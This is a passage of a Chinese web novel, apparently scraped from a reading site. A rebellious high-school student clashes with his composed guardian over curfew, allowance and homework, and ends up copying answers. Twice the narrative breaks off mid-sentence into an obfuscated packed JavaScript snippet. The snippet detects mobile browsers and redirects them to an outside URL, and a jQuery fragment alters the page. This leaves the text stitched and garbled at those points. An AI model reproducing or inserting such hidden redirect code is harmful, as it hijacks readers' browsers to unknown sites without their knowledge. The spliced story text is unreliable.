何宇旁边的岳星野也探着脑袋,不解地嚷道:“就是啊,AD嗝屁了直接断了输出,还怎么打啊?我靠,咱们会输给对面这群菜/逼?!” 易继勋脸色瞬间沉了下来,心头本就憋着一股火。 偏偏就在这时,微信电话铃声又一次尖锐响起,刺耳得扎耳,像根细针反复戳着紧绷的神经。 他几乎是咬着牙,重重一点挂掉这通扫兴的来电,顺手点开微信。 李师傅的消息一条接一条弹出来,密密麻麻刷屏似的轰炸,看得他眼晕心烦。 他干脆把微信后台退出,没好气道:“突然有人打电话,老子能预料到吗?” 陈续的目光落在他屏幕上,忍不住问:“是不是你家司机来接你了?难不成你爸看你高三,开始抓你学习了?” 易继勋不耐烦道:“狗屁,加错好友了。” “少废话,再来!” 不知过了多久,正玩得热血沸腾的易继勋,忽然察觉到周遭的空气好像变了味道。 不再是网吧里惯有的、混杂着烟味与汗味的浑浊气息,而是一股淡淡的冷冽香味。 他一开始以为是网吧保洁员刚喷了空气清新剂,可细细一闻,觉得这味道有些熟悉。 易继勋目光一凝,方才还带着几分漫不经心的神色,慢慢变得凌厉起来。 “易哥,快来支援我!我快扛不住了!”陈续急切的声音从耳机里传了出来。 易继勋手上动作没停,飞快敲击着键盘,速度越敲越快,只冷冷丢出一句:“急什么,等着。” 又一局鏖战结束,几人纷纷摘下耳机,长长松了口气。 易继勋抬眼看向屏幕,身旁的陈续瘫靠在椅背上,盯着界面上红绿交错的战绩,挠了挠头唉声叹气:“这一晚输一把赢一把的,折腾半天也没涨星,等于白玩啊。” 要不是那个该死的电话连环催命,他刚才那波根本不会失误,更不可能平白输了一局。 心底的郁气又往上翻了翻。 易继勋刚扯掉耳机随手砸在桌上,腿一抬散漫地翘起来,手臂搭在扶手上,后背往椅背上一靠,百无聊赖地划着手机。 可只有他自己清楚,从沈知珩站在身后的那一刻起,周身的空气就像被冻住了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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很难想象,这样一双秀气的手,力道居然像虎钳一样大。 余光瞥见好像有人往洗手间方向走来,易继勋目光猛地一沉。 他不擅长讲道理,要是被人看见自己像被强行掳走的良家妇女似的,被人攥着手腕动弹不得,那脸可就丢到姥姥家了。 他下意识想挥拳,用最直接的方式解决,就算打不过,也要有男人的血性。 可理智让他拼命压下翻涌的火气。 然后,抬手,一把扣住了对方的后颈。 指尖一触,易继勋骤然顿住。 这是他第一次实实在在碰到沈知珩的肌肤,隔着衣料,都能清晰感受到后颈处一道极深的疤痕轮廓。 他眼底飞快掠过一丝讶异,但没深究,指尖不自觉松了几分力道,唇角扯出一抹痞气的弧度,皮笑肉不笑地开口:“行,今天就给你个面子,早点回去。就当……陪陪你这寂寞的夜。” 另一边,刚买完汽水折返的陈续没在座位上找到人,打听了两句,听说易继勋往洗手间方向走了,便抱着几瓶饮料匆匆寻了过来。 他刚拐进洗手间外的走廊,一眼就瞥见了靠墙而立的易继勋,张口就要喊人。 脚步在瞬间顿住。 眼前的景象让他整个人僵在原地。 易继勋靠在墙上,一只手扣在他哥哥的后颈上,姿态又野又冲。可偏偏脸上没有真动怒的狠劲,反倒带着点别扭的笑意。 而被他扣着后颈的他哥哥,站得笔直,也不挣扎,从容得很。 居然还抓着易哥的手腕?? 姿势黏糊又紧绷,气氛古怪得说不出来。 打架?不像。 吵架?也不像。 陈续张了张嘴,半天没憋出一句完整话,最后只小声憋出一句: “易哥……你这是……” 跟人搁这儿壁咚呢? 10. 第 10 章 回到家的易继勋满脑子只剩睡觉,刚抬脚走到卧室门口,沈知珩的声音淡淡传来,拦在了他身前:“易少,我们谈谈。” 客厅里,易继勋斜倚在主沙发上,沈知珩则坐在一旁的单人休闲沙发里。 玩得正兴起被人硬生生打断,他心里憋着一股火,还是强压了下去,倒要听听沈知珩究竟想说什么。 毕竟网吧那一场,也算闹得不大不小。 易继勋懒散地翘着腿,目光嚣张地扫过沈知珩的脸,可对方眉眼沉静如深潭,神色平和无波。 全然没有他预想中“晚辈不服管教,长辈的嘴像加特林突突突突”的架势,更别提气急了直接赏一顿棒子炖肉。 “易少,我们上次谈得很清楚,晚上九点之前,必须归家。可你刚才说‘我什么时候答应过你’,”沈知珩抬眼看向他,平静道,“我尊重你的想法,那易少,也该尊重我的决定。” 易继勋挑了挑眉,无所谓的视线落在沈知珩脸上,最后三个字刻意顿了两秒:“要怎么个——尊重法?” 沈知珩没有立刻接话,俯身拿起茶几上的《月度生活费核算清单》,绅士地递到易继勋面前。 “前些日子,我和易董闲聊时,无意中提起过你的每月生活费。他说,你以往每个月的开销,平均下来差不多有十万元,”他微微一顿道,“其实,对于未成年的少年来说,刨去学杂费、补课费、必要的日用品开销,每个月两千块零花钱,足够你吃穿用度,甚至能过得很滋润。” 易继勋搬来这里时,只拖了一个行李箱,东西少得可怜。沈知珩也没有多问他平日里的钱都花在了哪里。 两千块?开什么玩笑?这点钱,连他以前一晚上的零头都不够。他就算不常去那些高消费场所,出手也从来都是极大方的。 易继勋的眼神瞬间冷了下来,几分漫不经心的神色彻底敛去。 他没说话,只是沉默地坐着,继续等着沈知珩的下文。 沈知珩对此视若无睹,神态自若地说:“那天我就跟你说过,只要你保证‘不主动惹事’,每个月正常的花销,我照样发放。但很显然,你今天没做到。” 易继勋抬眼,眼底的寒意几乎要溢出来:“所以?我这个月连这两千块都拿不到?沈知珩,你特么逗我呢?这钱够干什么?打发叫花子呢!” 他顿了顿,又咬着牙补了一句:“而且,你这是在打马后炮!你当时也没说,最基本的零花钱才两千块吧?” 沈知珩唇角勾起一抹极淡的弧度,笑意却没达眼底:“反正易少打从一开始,就没打算答应我定下的规矩,我以为,易少不会介意这个。” 易继勋:“……”气闷得舌尖狠狠顶了下后槽牙。 沈知珩像是全然没察觉到他戾气逼人的情绪,依旧不急不缓地开口,坦然得像是真不怕在一头愤怒的野狼身上拔毛:“今天老师留的作业,你写完了吗?” 易继勋气得懒得搭话,漆黑的眸子直勾勾地盯着沈知珩,眼底的怒火几乎要烧出来。 “现在是九点四十。”沈知珩抬眼扫了一眼腕间的腕表,眸光微沉,掠过一丝极淡的波澜,“我上高三时住校,每天九点下晚自习,回宿舍后即便作业繁多,熬夜到十二点也能写完。易少,只要你静下心认真去做,一晚上的时间,足够完成作业——咱们的规定第三条,每天作业必须按时完成。” 客厅里瞬间陷入死寂,连空气都像是凝固了一般。 数秒后,易继勋盯着沈知珩的脸,忽然气极反笑,几乎一个字一个字咬着牙说:“你是你,我是我,我说写不完就写不完,老子不写。” 不写。 就是不写。 倒要看看,沈知珩能拿他怎么样。 易继勋起身,转身就准备回房间睡觉,懒得再跟沈知珩废话。 就在这时,裤兜里的手机突然“叮”地响了一声。 是支付宝发来的花呗周报推送——【本周消费快报已出】。 看到这条推送,易继勋的脚步顿住,脑海里瞬间闪过上次在警局赔偿台球厅打人的费用,脸色瞬间僵住,低低地骂了一声“操”。 屋漏偏遭连夜雨。 他没有欠钱的习惯,更何况是花呗这种需要按时还款的借贷,于他而言,欠钱不仅麻烦,更像是丢了自己的原则。 身侧的拳头紧紧攥住,指节泛白,隐约发出轻响。易继勋闭着眼,长长吐了一口气。 沈知珩轻缓磁性的声音从他背后缓缓传来:“易少,我提过,如果你每月按时完成作业,我会给你加零花钱。两千块不够你开销,多加一些,总够了吧。” 易继勋稍稍侧头,挑眉:“加多少。” 沈知珩:“封顶十万,不会降低你的生活水平。” 易继勋迟疑了几秒,皱着眉道:“一个月三十天天天都完成,老子肯定做不到。” 沈知珩低笑一声:“你都没试,怎么知道做不到?” 易继勋冷冷翻了他一眼,不耐烦道:“跟你没话说。” 察觉到一道平静沉稳的目光落在他身上,沈知珩像是早就把他的心思看得一清二楚。 “那咱们就放低点要求,一天按时完成作业,就给一天的奖励。” 易继勋:“......” 易继勋忽然感到无话可说,翻来覆去想了一圈,竟只有沈知珩给出的这条路,能走得通。 他小时候在易承渊的远房表弟易国远家住过多年,那地方偏在小镇,易国远成天只顾着打牌搓麻将,压根不管他。 十二岁那年,他被易承渊接回易家,易承渊倒是看重他的将来,可父子俩一吵急眼,他老子就直接动手,根本不会废话。 至于学习,易承渊有心也无力,除了揍他没有别的办法,而易继勋偏偏是块硬骨头,根本拿捏不住他,到最后干脆放任不管。 易承渊只丢下一句:“家业用不着你继承,你只要别成天在外头惹是生非,我就谢天谢地了。” 可沈知珩,完全是另一种人。 一种他从来没遇到过的人。 说他软,根本不是。 他甚至会一上来就硬碰硬,也不知道在哪里学的身手,总感觉他受过专业训练,不会跟人盲目缠斗,却能不动声色地把人逼到没退路。 先让你服软,再慢慢跟你讲道理。 而他说的每一句,都戳在点子上,条理清晰、逻辑缜密,毫无反驳的余地。 像在修复一座筑歪的墙,先拆得干净,再一点点帮你重新砌稳。 易继勋觉得,自己是遇到对手了。 一个在武力、智力、阅历上都对他降维打击的人。 但是,和这种人较劲,才更有挑战。 嘴上不肯服软的易继勋,视线慢悠悠扫过沈知珩的脸,漫不经心地开口:“怎么?跟你一样,给我爸打一天工,他就给你发一天钱?说实话,我觉得挺麻烦的。” 沈知珩只是静静看着他,像是在示意他继续说下去。 易继勋唇角勾起一抹玩世不恭的笑,像是破罐子破摔般,一字一顿地刺了过去:“你不如直接爬上我爸的床,那样赚的钱,够你花一辈子了。” 话音落下的瞬间,他自己都莫名觉得一阵不自在,眼皮几不可查地跳了一下。 僵持片刻,易继勋喉间动了动,几番欲言又止,才终于别开脸,强装镇定地转身。 刚走没几步,少年的脚步忽然顿住了。 他想起,开学时学校发的练习册,他都没拆过封,更别提带回来了。 就在这时,沈知珩的声音平缓传来,听不出喜怒:“你那间房里没有书桌,去书房写。里面有你开学新发的练习册,还有高一到高三的全套教材。” 倒是准备得周全。 “听说易少今天中午十二点半才下楼,昨晚是玩了一整夜吧?那今晚就学一整夜,时间刚好扯平。” 易继勋:“......”报复,绝对的报复。 他才不会听话,嗤了一声,迈步走进书房。 按下嵌入式吸顶灯的开关,冷冽的白光瞬间倾泻而下,铺满了整个宽敞的空间。 偌大的书房兼具现代简约与书卷气,整面墙的落地书柜摆满典籍,靠墙摆着一张深色实木书桌,角落设着休闲茶台,简约却不失雅致。 只是这里太过寂静,静得甚至有些让人窒息的孤独。 他下意识地想点根烟,指尖刚摸到口袋,鼻尖轻轻嗅了嗅,一股清冽的百合花香气漫入鼻腔。 他动作一顿,缓缓收回了正要掏出烟盒的手。 顺着香气望去,他看见书桌旁的博古架上,摆着一束盛放的百合花,花瓣莹润,香气绵长。 书房角落的观景台旁,立着一个哑光黑金属靶,搭配着钨钢飞镖,易继勋缓步走过去仔细打量,指尖碰了碰靶面,才发现这绝非他想象中随便玩玩的玩具,质感厚重,一看就很专业。 除此之外,靶身旁边还装着一个小型挂壁款速度球,黑色的球面泛着细腻的光泽,静静贴着墙面。 易继勋蹙了下眉头,目光骤然紧了紧。 沈知珩一个科技公司总裁,又不是上战场带兵打仗,弄这些东西,到底想干嘛。 易继勋走到书房中央的深色实木书桌前,一屁股坐了下去,随手抽出一本崭新的高考一轮复习数学练习册。 自打高一到高二下学期,他的数学考试就从没超过三十分。他们班的老刘是教数学的,每次上课都恨铁不成钢地拍着黑板说:“数学不难!真不难!我当年高考就差5分满分,怎么教你们这群小子,就死活学不会?” 其实易继勋倒觉得,老刘这话有点站不住脚,看得太浅了。 错根本不在学生身上,而是在高考上。 要是取消高考,这些所谓的“难题”,不就全都迎刃而解了? 他无聊地靠在椅背上,摸向口袋想掏手机玩,可一开机,屏幕就暗了下去。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233787|197641||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 没电了。 手机都在和他过不去。 易继勋不耐烦地把手机丢在书桌上。 漫漫长夜,如果就这么枯坐着,也太过煎熬乏味了。 他随手翻了几页数学练习册,上面密密麻麻全是函数解析式、三角函数图像、立体几何证明题,还有一道道解析几何大题,看得他眼花缭乱。 天书啊。 他烦躁地抓了抓头发,现在除了对着这本看不懂的天书发呆,还真不知道能干点什么。 百无聊赖间,他翻着练习册,无意间划过书页,发现沈知珩压根没把练习册里夹着的答案页取走。 易继勋吊儿郎当地勾了下唇角,反正沈知珩只说让他把作业写完,就给一天的“奖励”。 又没说不允许抄答案。 不抄白不抄。 于是他拿起笔,指尖灵巧地转了转笔杆,漫不经心地翻开答案页,照着上面的步骤,慢悠悠地写了起来。 不到一个小时,他就靠着抄答案,“顺利”完成了各科作业。 他伸了个大大的懒腰,扭了扭僵硬的脖子,坐着放空了好一会儿,只觉得愈发无聊,索性站起身,在宽敞的书房里活动起了筋骨。 脚步不自觉挪到整面墙的落地书柜前,他抬眼仔细一扫,只见书柜里整齐排列着各类书籍:有《二十四史》《史记》这样的线装古籍,也有《资本论》《国富论》这类厚重的外文书,还有数学经典著作《几何原本》《自然哲学的数学原理》......从古籍到社科,从外文典籍到专业理论,应有尽有。 易继勋随意抽出一本,指尖摩挲着书页,发现这些书除了封面有淡淡的岁月质感,内页没有一处褶皱污渍,干净得不像话。 跟沈知珩这个人一样,长着一张小白脸似的精致脸蛋,一点烟火气都没有。 这种晦涩难懂的典籍,他自然是看不进去的,随手就将书放回了原位。 就在他转身要走时,目光无意间扫过书柜中层,瞥见一本侧封设计素雅的小说——《城南旧事》。 易继勋眯了眯眼睛。这本书混在一众厚重晦涩的经典典籍里,显得格外格格不入。 好奇心驱使着他伸出手,将这本书抽了出来。 乍一看内容,他就不太喜欢这类基调温柔、情绪舒缓的抒情小说,总觉得读着费劲。他也想不通,沈知珩一个学理工科出身、凡事都讲逻辑讲效率的总裁,怎么会对《城南旧事》这种满是旧时光怅惘的小说感兴趣。 可他翻开封皮才发现,这本书和书柜里其他工整无暇、像是从没被翻阅过的书截然不同。 书页边缘泛着淡淡的微黄,每一页都有明显的翻动痕迹。 看书的人似乎习惯看到哪里就顺手折一个角,书页上零星留着几道浅浅的折痕。 不像是出自同一个人之手。 沈知珩能把其他书保养得如此完好,不太可能这样随意折书页。 易继勋下意识地想翻开那折着角的一页,刚碰到折痕,就觉得书页有些干燥发脆,第一次翻动的时候竟然没掀开。 他微微用力,他看书没什么讲究,这一下捻动,书页发出“哗啦”一声脆响,在寂静的书房里显得格外清晰。 就在这声响落下的瞬间,书房的门被轻轻敲了两下,声音不重。易继勋正盯着书页上的折痕出神,没太在意那敲门声,只含糊地“嗯”了一声。 下一秒,书房门被缓缓推开,一道冷淡疏离的声音传了进来,清晰地落在他耳中:“别动。” 易继勋一时间没反应过来,下意识地微微侧过头,目光直直撞上男人的视线。 男人头发还湿着,显然刚洗完澡,没来得及吹,发丝上还挂着细碎的水珠,顺着下颌线缓缓滑落。 他身上的浴袍松松敞开着,露出线条流畅又精致好看的锁骨,周身萦绕着一股冷冽清透的沐浴露香气。 沈知珩把眼镜摘了。 没了镜片的遮挡,眉眼间的清冷柔和了不少,少了平日里成熟的疏离感,多了几分二十几岁青年该有的清隽秀气。 更显得两人像同龄人。 其实说起来,他们年纪相差也不大,听易承渊提过一嘴,好像也就……七岁而已? 易继勋嗤笑一声,觉得他那穷讲究的破毛病又犯了:“你书房摆着书,不就是让人看的?” 男人的视线骤然钉在他手里那本《城南旧事》上,眼底沉暗,吐字极重:“你难道不明白,没有经过别人允许,不能随便动别人东西吗?” 见沈知珩脸色沉了下来,易继勋反而更来劲了。虽然没搞懂一贯波澜不惊的他为何突然变脸,但能让对方不高兴,也算扳回一局。 他吊儿郎当地开口:“我做事只看我爽不爽,从不看什么规矩。我的心情,就是规矩。” 他故意对着书页轻啐了一口,才慢悠悠翻开,语气又拽又欠:“我就动了,你能怎么样?大不了,你连这本书一起消毒啊。”